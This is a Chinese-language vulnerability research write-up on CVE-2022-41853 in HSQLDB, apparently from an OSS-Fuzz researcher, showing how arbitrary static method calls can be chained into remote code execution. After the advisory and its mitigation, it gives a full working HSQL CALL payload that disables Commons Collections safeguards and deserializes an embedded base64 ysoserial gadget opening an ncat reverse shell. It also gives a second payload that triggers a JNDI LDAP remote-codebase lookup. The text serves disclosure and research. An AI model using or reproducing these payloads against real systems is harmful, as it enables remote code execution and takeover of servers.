
对 CVE-2022-41853 的研究:利用静态函数,通过 Java 反序列化与远程代码库攻击获取 RCE
在 hsqldb(HyperSQL DataBase)中使用 java.sql.Statement 或 java.sql.PreparedStatement 处理不可信输入的用户,可能容易受到远程代码执行攻击。默认情况下,允许调用 classpath 中任何 Java 类的任何静态方法,从而导致代码执行。要防止此问题,可以升级到 2.7.1,或将系统属性 "hsqldb.method_class_names" 设置为允许被调用的类。例如,可使用 System.setProperty("hsqldb.method_class_names", "abc") 或 Java 参数 -Dhsqldb.method_class_names="abc"。从 2.7.1 版本开始,默认情况下所有类都不可访问,除非是 java.lang.Math 中的类,并且需要手动启用。
该漏洞的初始披露可以在此处找到。
OSS-Fuzz 团队
https://github.com/google/oss-fuzz
2021 年,我在阅读 Mikhail Klyuchnikov 的博客文章《F5 Big‑IP 中的远程代码执行》,内容涉及如何利用路径规范化攻击 + HSQL "CALL" 查询来调用任意 Java 静态方法,从而实现 RCE。
由于当时我正在报告和研究 Apache SOLR 中的漏洞,我想起他们的 JDBC Stream 示例使用了 HSQL,于是开始搭建测试环境。

注意: 不幸的是,此漏洞不影响默认的 Apache Solr 服务器,因为 HSQL JAR 必须专门放在文件夹 “./server/solr-webapp/webapp/WEB-INF/lib/” 中,Stream JDBC 组件才能访问该驱动程序。
由于 F5 中的 RCE 使用的是位于 "tmui.jar"(F5 应用专用的 JAR)中的 "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" 函数,而我想构造一个与应用无关的 payload,于是开始研究如何串联常用 JAR(例如 Apache Commons Collections、Apache Log4J)来调用静态函数并获得 RCE。
由于最先想到的是 ysoserial 中的 CommonsCollections* gadgets,我于是走上了 Java 反序列化的路线,并得到以下结果:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') 以启用不安全反序列化(既然可以完全移除安全防护,为什么还要绕过呢 :)) ))public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) 作为输入汇(sink),使数据到达 ObjectInputStream(x).readObject() 函数public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) 或 public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) 函数,将编码后的 ysoserial payload 字符串转换为字节数组,供 deserialize(byte[] objectData) 使用完整的 HSQL payload 形式如下:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
注意: 这里 ysoserial payload 的类型是 CommonsCollection6,将执行 ncat -e /bin/bash 127.1 4444 反向 shell 命令。
注意 2: 独立的 HSQLDB.jar 不受此 payload 影响,因为它不包含 Apache Commons Collections JAR。当 HSQL 被集成到 Web 应用程序(如 SOLR、Liferay 等)中时,此漏洞(大多数情况下)会生效。
更多细节和利用过程可参见此 PDF。
2023 年,我在阅读相关资料时偶然发现了一个很棒的演讲《探索 JNDI 攻击》作者:iSafeBlue,它使用 java.lang.System.setProperty 将 com.sun.jndi.ldap.object.trustURLCodebase 或 com.sun.jndi.rmi.object.trustURLCodebase 设置为 true,然后执行 LDAP/RMI 查找,从而成功实施 Java 远程代码库攻击。
示例 HSQL Payload:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
结果:

注意: 由于未知原因,此漏洞在默认的 HSQLDB.jar 上有效,但在 HSQL + Apache SOLR 环境中无效 ¯\_(ツ)_/¯。